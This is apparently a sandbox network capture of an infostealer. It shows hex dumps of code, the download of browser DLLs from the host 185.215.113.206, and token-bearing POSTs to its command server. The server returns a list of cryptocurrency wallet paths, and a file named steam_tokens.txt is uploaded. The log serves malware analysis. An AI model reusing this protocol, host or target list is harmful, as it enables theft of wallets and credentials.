Nov 29, 2024 19:49:39.758491039 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 29, 2024 19:49:39.758503914 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 29, 2024 19:49:39.758654118 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 29, 2024 19:49:39.758666992 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 29, 2024 19:49:39.758682966 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 29, 2024 19:49:39.758696079 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 29, 2024 19:49:39.758903027 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Nov 29, 2024 19:49:39.758915901 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Nov 29, 2024 19:49:39.758929968 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Nov 29, 2024 19:49:39.767523050 CET	1236	IN	Data Raw: ff ff 89 7d d4 8b 95 e0 fe ff ff 11 d0 89 45 cc 8b 4d a0 31 c1 8b 75 9c 31 fe 8b 5d c4 01 cb 89 5d c4 8b 7d bc 11 f7 89 7d bc 8b 85 7c ff ff ff 31 d8 89 c3 31 fa 0f a4 d0 08 0f a4 da 08 89 d7 8b 55 d4 03 95 40 ff ff ff 8b 5d cc 13 9d 3c ff ff ff Data Ascii: }EM1u1]]}}\|11U@]<U]11lMuuMM11UM EHMM(Eh1]1EEuu]11]
Nov 29, 2024 19:49:41.430732012 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 29, 2024 19:49:41.884984970 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 29, 2024 19:49:42.757941961 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 29, 2024 19:49:43.213484049 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 29, 2024 19:49:44.129748106 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 29, 2024 19:49:44.584019899 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 29, 2024 19:49:47.872972012 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 29, 2024 19:49:48.327739954 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 29, 2024 19:49:48.972927094 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 29, 2024 19:49:49.431360006 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 29, 2024 19:49:49.936538935 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAK Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:49:51.066417933 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 29, 2024 19:49:51.137537956 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKFHIEGDHJKECAAKKE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 2d 2d 0d 0a Data Ascii: ------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="message"wallets------DBKKFHIEGDHJKECAAKKE--
Nov 29, 2024 19:49:51.596930981 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:51 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 29, 2024 19:49:51.599756002 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEBGHCFCAAFIECAFIII Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 2d 2d 0d 0a Data Ascii: ------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="message"files------BAEBGHCFCAAFIECAFIII--
Nov 29, 2024 19:49:52.056498051 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 29, 2024 19:49:52.069186926 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBAEHCGHIIIDHIECFHJD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="file"------DBAEHCGHIIIDHIECFHJD--
Nov 29, 2024 19:49:53.023199081 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 29, 2024 19:49:53.025820017 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCAFHCAKFBFIECAFIIJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="message"ybncbhylepme------BGCAFHCAKFBFIECAFIIJ--
